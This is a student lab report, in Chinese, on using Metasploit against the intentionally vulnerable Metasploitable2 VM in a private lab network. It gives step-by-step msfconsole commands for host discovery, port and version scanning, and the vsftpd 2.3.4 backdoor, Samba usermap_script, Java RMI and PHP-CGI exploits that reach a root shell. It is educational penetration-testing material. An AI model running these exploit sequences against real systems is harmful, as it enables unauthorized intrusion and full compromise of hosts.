20222307 2024-2025-1 《网络与系统攻防技术》实验六实验报告
1.实验内容
1.1 本周学习内容回顾
Metasploit是一个渗透测试框架,它提供了一个平台让安全专家能够开发、测试和执行漏洞利用代码。它包括了一个庞大的漏洞和漏洞利用数据库,以及许多用于辅助渗透测试的工具,如端口扫描器、漏洞扫描器和payload生成器
1.2实验要求
本实践目标是掌握metasploit的用法。
指导书参考Rapid7官网的指导教程。
https://docs.rapid7.com/metasploit/metasploitable-2-exploitability-guide/
下载官方靶机Metasploitable2,完成下面实验内容。
(1)前期渗透
①主机发现(可用Aux中的arp_sweep,search一下就可以use)
②端口扫描:可以直接用nmap,也可以用Aux中的portscan/tcp等。
③选做:也可以扫系统版本、漏洞等。
(2)Vsftpd源码包后门漏洞(21端口)
(3)SambaMS-RPC Shell命令注入漏洞(端口139)
漏洞原理:Samba中负责在SAM数据库更新用户口令的代码未经过滤便将用户输入传输给了/bin/sh。如果在调用smb.conf中定义的外部脚本时,通过对/bin/sh的MS-RPC调用提交了恶意输入的话,就可能允许攻击者以nobody用户的权限执行任意命令。
(4)Java RMI SERVER命令执行漏洞(1099端口)
实验环境:
攻击机:虚拟机kali IP 192.168.214.132
靶机:Metasploitable2 192.168.214.150
2.实验过程
2.1 前期渗透
2.1.1 主机发现(可用Aux中的arp_sweep,search一下就可以use)
search arp_sweep
use 0
set RHOSTS 192.168.214.0/24
set THREADS 30
run
成功查询到靶机(192.168.214.150)
2.1.2 端口扫描:可以直接用nmap,也可以用Aux中的portscan/tcp等
search portscan/tcp
use 0
set RHOSTS 192.168.214.150
run
成功扫描出开放的tcp端口。
2.1.3 扫描系统版本、漏洞
search auxiliary/scanner/smb/smb_version
use 0
set RHOSTS 192.168.214.150
Run
从图中分析得,目标主机运行的是 Samba 版本(3.0.20),且使用 SMBv1,存在一些已知漏洞。
2.2 Vsftpd源码包后门漏洞(21端口)
漏洞原理:在特定版本的vsftpd服务器程序中,被人恶意植入代码,当用户名以“😃”为结尾,服务器就会在6200端口监听,并且能够执行任意代码。
search exploit/unix/ftp/vsftpd_234_backdoor
use 0
set RHOST 192.168.214.150
Run
run攻击成功执行后,再输入uname –a、 pwd、 id
等命令 验证。
我用的是“uname -a”和“ip addr”(查看IP地址)命令,验证是否攻击成功。
2.3 SambaMS-RPC Shell命令注入漏洞(端口139)
漏洞原理:Samba中负责在SAM数据库更新用户口令的代码未经过滤便将用户输入传输给了/bin/sh。如果在调用smb.conf中定义的外部脚本时,通过对/bin/sh的MS-RPC调用提交了恶意输入的话,就可能允许攻击者以nobody用户的权限执行任意命令。
search exploit/multi/samba/usermap_script
use 0
set RHOST 192.168.214.150
exploit
利用成功 执行uname –a
验证
2.4 Java RMI SERVER命令执行漏洞(1099端口)
漏洞原理:Java RMI Server的RMI注册表和RMI激活服务的默认配置存在安全漏洞,可被利用导致代码执行。
首先查看1099端口是否打开nmap -sS -sV -n 192.168.214.150
,根据图片得知是打开的。
search exploit/multi/misc/java_rmi_server
use 0
show options //查看配置参数
set RHOST 192.168.214.150
exploit
从图片中得知sessions id为4
sessions -i 4\\输入进入任务
shell
whoami\\验证,得到结果root
2.5 PHP CGI参数执行注入漏洞(80端口)
漏洞原理:CGI脚本没有正确处理请求参数,导致源代码泄露,允许远程攻击者在请求参数中插入执行命令。
search exploit/multi/http/php_cgi_arg_injection
use 0
set RHOST 192.168.214.150
exploit
攻击成功,输入dir
验证。
3.问题及解决方案
问题:Java RMI SERVER命令执行漏洞时,输入session后总是报错
解决方案:输入的session id错误了
4.学习感悟、思考等
在完成了使用Metasploit框架进行的一系列渗透测试实验后,我对于网络安全有了更深刻的认识。Metasploit作为一个强大的渗透测试工具,它的存在不仅仅是为了攻击,更多的是为了教育和防御。
Metasploit的使用必须遵守法律和道德准则。在实验中,我始终确保在授权的环境中进行测试,这让我意识到了在现实世界中进行渗透测试时必须遵守的严格规则。
Metasploit是一个双刃剑,它既可以被安全专家用来加强系统的安全性,也可能被攻击者用来造成破坏。这种认识让我更加尊重和谨慎地使用手中的工具。